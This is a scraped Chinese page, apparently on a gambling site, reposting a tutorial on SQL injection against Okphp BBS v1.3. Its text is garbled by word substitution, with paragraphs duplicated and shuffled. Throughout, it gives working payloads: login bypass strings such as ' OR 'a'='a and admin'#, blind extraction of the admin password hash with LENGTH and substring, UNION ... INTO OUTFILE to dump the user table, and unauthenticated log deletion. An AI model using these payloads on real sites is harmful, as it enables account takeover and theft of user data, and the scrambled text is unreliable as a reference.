澳门威利斯人_威利斯人娱乐「手机版」

来自 澳门威利斯人 2019-08-24 15:54 的文章
当前位置: 澳门威利斯人 > 澳门威利斯人 > 正文

mysql注射语句构造,详细讲解关于sql注入方法

  $username没过滤利用同1里注释掉and password='$md5password'";

  上边的办法要求比较苛刻,必需得到web的门道(一般能够通过付出错误的变量使mysql报错而获得),而且php的magic_gpc=on选项使注入中不能够冒出单引号。假诺magic_gpc=on大家也得以绕过:
  构造2:就象asp跨库查询同一,直接利用union select构造语句,使再次来到结果分歧来猜解,这种方式可以绕过单引号(magic_gpc=on)继续注射,可是在php里这种注射绝对辛勤,依照现实的代码而定。具体的语句构造请参谋pinkeyes 的稿子《php注入实例》。上边笔者就整合okphp给个使用“重返结果分裂”注射的例子:(见漏洞5)。
  5.admin/login.php和users/login.php通过sql语句构造能够猜解得到内定客商密码hash:(其实那个和尾巴1和2是同三个,这里单独拿出来,首倘若印证语句构造的法子。)

图片 1图片 2代码

  变量$forum_id未有过滤,因为mysql不支持子查询,我们能够使用union构造语句进行共同查询(供给MySQL版本在4.00以上)达成跨库操作,大家组织如下:
  构造1:利用 SELECT * FROM table INTO OUTFILE '/path/file.txt'(须求mysql有file权限,注意在win系统中要绝对路线,如:c://path//file.txt )。把所查询的剧情输入到file.txt,然后我们能够通:
  $forum_id=' union select * from user_table into outfile '/path/file.txt'
  以下:
  $q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' union select * from user_table into outfile '/path/file.txt'";
  下边包车型客车措施要求相比较苛刻,必需取得web的路径(一般能够透过提交错误的变量使mysql报错而获得),何况php的magic_gpc=on选项使注入中不能够出现单引号。假使magic_gpc=on大家也足以绕过:
  构造2:就象asp跨库查询同一,直接采用union select构造语句,使重回结果不一致来猜解,这种艺术能够绕过单引号(magic_gpc=on)继续注射,不过在php里这种注射绝对艰难,根据实际的代码而定。具体的语句构造请参见pinkeyes 的篇章《php注入实例》。上边笔者就构成okphp给个使用“再次来到结果分裂”注射的例子:(见漏洞5)。
  5.admin/login.php和users/login.php通过sql语句构造能够猜解获得钦赐客户密码hash:(其实那几个和尾巴1和2是同二个,这里单独拿出来,主假设认证语句构造的法门。)
  难点代码同漏洞1。
  语句的结构(ps:因为言语本人正是对顾客库操作就没要求用union了):
  $username=admin' AND LENGTH(password)=6#
  sql语句形成:
  $q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6#' and password='$password'"
  相当于:
  $q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6'"
  要是LENGTH(password)=6创造,则平时重返,倘若不树立,mysql就能够报错。
  那样大家就足以猜解客户admin密码hash了。如$username=admin' ord(substring(password,1,1))=57#
  能够猜客户的密码第一人的ascii码值............。

代码

  以下: 

  代码就只简轻便单的用get_r($arr);推断的提交的参数,大家借使提交相应的$del_log,$log_id,$del_id。就回删除成功。
  4.八个文件对变量没有过滤导致sql注射漏洞。
  okphp的撰稿人好象都不欣赏过滤:)。基本上全体的sql语句中的变量都以“赤裸裸”的。具体那多少个文件小编就不列出来了,请本人看代码,作者那边就用forumslist_threads.php为例子轻便谈一下。
  看list_threads.php的代码:

  纵然length(password)=6创建,则正常重临,借使不树立,mysql就能够报错。
  那样我们就足以猜解客户admin密码hash了。如$username=admin' ord(substring(password,1,1))=57#

  最后简短通过二个$login来判别,大家要是ie提交间接付出$login=1 就足以绕过了 。

  
$username 和 $password 没过滤, 很轻松就绕过。

  问题代码同漏洞1。
  语句的结构(ps:因为言语自身正是对客户库操作就没供给用union了):   

  $username没过滤利用同1里注释掉and password='$md5password'";

复制代码 代码如下:

  相当于:  

声称:本例只作学习用
  版本音信:Okphp BBS v1.3 开源版
  由于PHP和MYSQL本人得原因,PHP MYSQL的注射要比asp困难,极度是注射时语句的构造方面进一步个难题,本文主若是借对Okphp BBS v1.3片段文本得轻易深入分析,来谈谈php mysql注射语句构造格局,希望本文对您有一些扶持。
  申明:文章全部涉嫌的“漏洞”,都不曾通过测量检验,大概根本不设有,其实有未有尾巴并不首要,主要的是分析思路和说话构造。
二.“漏洞”分析:
  1.admin/login.php注射导致绕过身份验证漏洞:
  代码:   

  3.adminloglist.php存在任意删除日志记录漏洞。(ps:那几个好象和php mysql注射毫无干系,随意提一下)
  okphp的后台好象写得很草率,全体文件都未曾看清管理员是或不是已经登入,以至于自便拜会。大家看list.php的代码:

$q = "select id,group_id from $user_table where username='admin' and length(password)=6'"

select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'

复制代码 代码如下:

  变量$forum_id未有过滤,因为mysql不援助子查询,大家能够使用union构造语句实行共同查询(供给mysql版本在4.00上述)完结跨库操作,大家组织如下:
  构造1:利用 select * from table into outfile '/path/file.txt'(须求mysql有file权限,注意在win系统中要相对路线,如:c://path//file.txt )。把所查询的开始和结果输入到file.txt,然后我们能够通来访谈得到查询的结果。上边的大家可以这么构造$forum_id:  

图片 3图片 4代码

你可能感兴趣的篇章:

  • php幸免sql注入示例深入分析和几种常见攻击正则表达式
  • PHP MYSQL注入攻击须求防止7个要点
  • 细谈php中SQL注入攻击与XSS攻击
  • PHP中完美阻止SQL注入式攻击解析总计
  • PHP与SQL注入攻击防备小手艺
  • PHP SQL 注入攻击的本事完结以及防卫措施
  • PHP中防止SQL注入攻击和XSS攻击的四个简易方法
  • PHP与SQL注入攻击[三]
  • PHP与SQL注入攻击[二]
  • PHP与SQL注入攻击[一]
  • php江苏中国广播集团大的sql攻击正则表达式汇总

 $q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' union select * from user_table into outfile '/path/file.txt'";

  难题代码同漏洞1。
  语句的组织(ps:因为言语自己就是对客商库操作就没须求用union了):
  $username=admin' AND LENGTH(password)=6#

复制代码 代码如下:

  3.adminloglist.php存在率性删除日志记录漏洞。(ps:那一个好象和php mysql注射毫无干系,随意提一下)


复制代码 代码如下:

  即: 

  如若LENGTH(password)=6成立,则符合规律再次回到,如若不成立,mysql就能报错。
  那样大家就足以猜解客商admin密码hash了。如$username=admin' ord(substring(password,1,1))=57#

一.前言:
  版本音讯:Okphp BBS v1.3 开源版

代码

select * from $user_table where username='admin'#' and password='$password'

  $arr = array("del_log","log_id","del_id");
  get_r($arr);
  //
  if ($del_log) {
  省略........
  if ($log_id) {
  foreach ($log_id as $val) {
  $q = "delete from $log_table where id='$val'";
  $res = sql_query($q,$conn);
  if ($res) {
  $i ;
  }
  }
  }
  elseif ($del_id) {
  $q = "delete from $log_table where id='$del_id'";
  $res = sql_query($q,$conn);
  }
  $tpl->setVariable("message","$i log deleted ok!");
  $tpl->setVariable("action","index.php?action=list_log");
  }

select * from $user_table where username='admin'

图片 5图片 6代码

  $conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
  $password = md5($password);
  $q = "select id,group_id from $user_table where username='$username' and password='$password'";
  $res = sql_query($q,$conn);
  $row = sql_fetch_row($res);
  $q = "select id,group_id from $user_table where username='$username' and password='$password'"中

代码

  相当于:

  if ($row[0]) {
  // If not admin or super moderator
  if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {
  $login = 0;
  }
  else {
  $login = 1;
  }
  }
  // Fail to login---------------
  if (!$login) {
  write_log("Moderator login","0","password wrong");
  echo " ";
  exit();
  }
  // Access ! -------------
  else {
  session_start();

 

  只要存在顾客名字为admin的就确立,假使不精通顾客名,只理解对应的id,
  我们就足以如此构造:$username=' O奥德赛 id=1#

  由于PHP和MYSQL自身得原因,PHP MYSQL的注射要比asp困难,特别是注射时语句的布局方面越发个难题,本文首假设借对Okphp BBS v1.3部分文书得轻便剖判,来研讨php mysql注射语句构造形式,希望本文对您有一点点扶持。
  声明:作品全部关乎的“漏洞”,都不曾通过测验,或然根本不设有,其实有未有尾巴并不重大,主要的是深入分析思路和语句构造。
  二.“漏洞”分析:
  1.admin/login.php注射导致绕过身份验证漏洞:
  代码:

  只要存在客商名称叫admin的就确立,若是不清楚客商名,只晓得对应的id,
  大家就能够如此构造:$username=' or id=1#

 

  最终简短通过二个$login来判别,我们若是ie提交直接交给$login=1 就足以绕过了 :)。
  2.users/login.php注射导致绕过身份验证漏洞:
  代码:

if ($row[0]) {  // if not admin or super moderator  if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {      $login = 0;  }  else {      $login = 1;  }}// fail to login---------------if (!$login) {  write_log("moderator login","0","password wrong");  echo "";  exit();}// access ! -------------else {  session_start();  

  相当于: 

  $q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id'";
  $res = sql_query($q,$conn);
  $row = sql_fetch_row($res);

  相当于: 

 

  对于select * from $user_table where username='$username' and password='$password'那样的说话改动的秘籍有:
  构造1(利用逻辑运算):$username=' OLacrosse 'a'='a $password=' OLAND 'a'='a
  相当于sql语句:
  select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'
  构造2(利用mysql里的讲明语句# ,/* 把$password注释掉):$username=admin'#(或admin'/*)
  即:
  select * from $user_table where username='admin'#' and password='$password'"
  相当于:
  select * from $user_table where username='admin'
  在admin/login.php中$q语句中的$password在查询前举行了md5加密所以不得以用构造第11中学的语句绕过。这里大家用构造2:
  select id,group_id from $user_table where username='admin'#' and password='$password'"
  相当于:
  select id,group_id from $user_table where username='admin'
  只要存在顾客名字为admin的就创立,假设不知底顾客名,只驾驭对应的id,
  大家就足以这么构造:$username=' O猎豹CS6 id=1#
  相当于:
  select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被讲授掉)
  大家跟着往下看代码:

$forum_id=' union select * from user_table into outfile '/path/file.txt'

  $md5password = md5($password);

  $q = "select id,group_id,email from $user_table where username='$username' and password='$md5password'";

  $res = sql_query($q,$conn);

  $row = sql_fetch_row($res);

  $md5password = md5($password);
  $q = "select id,group_id,email from $user_table where username='$username' and password='$md5password'";
  $res = sql_query($q,$conn);
  $row = sql_fetch_row($res);

  okphp的后台好象写得很草率,全体文件都未曾看清助理馆员是还是不是业已登入,以致于率性拜会。我们看list.php的代码:   

  2.users/login.php注射导致绕过身份验证漏洞:
  代码:

复制代码 代码如下:

代码

select id,group_id from $user_table where username='admin'

本文由澳门威利斯人发布于澳门威利斯人,转载请注明出处:mysql注射语句构造,详细讲解关于sql注入方法

关键词: 澳门威利斯人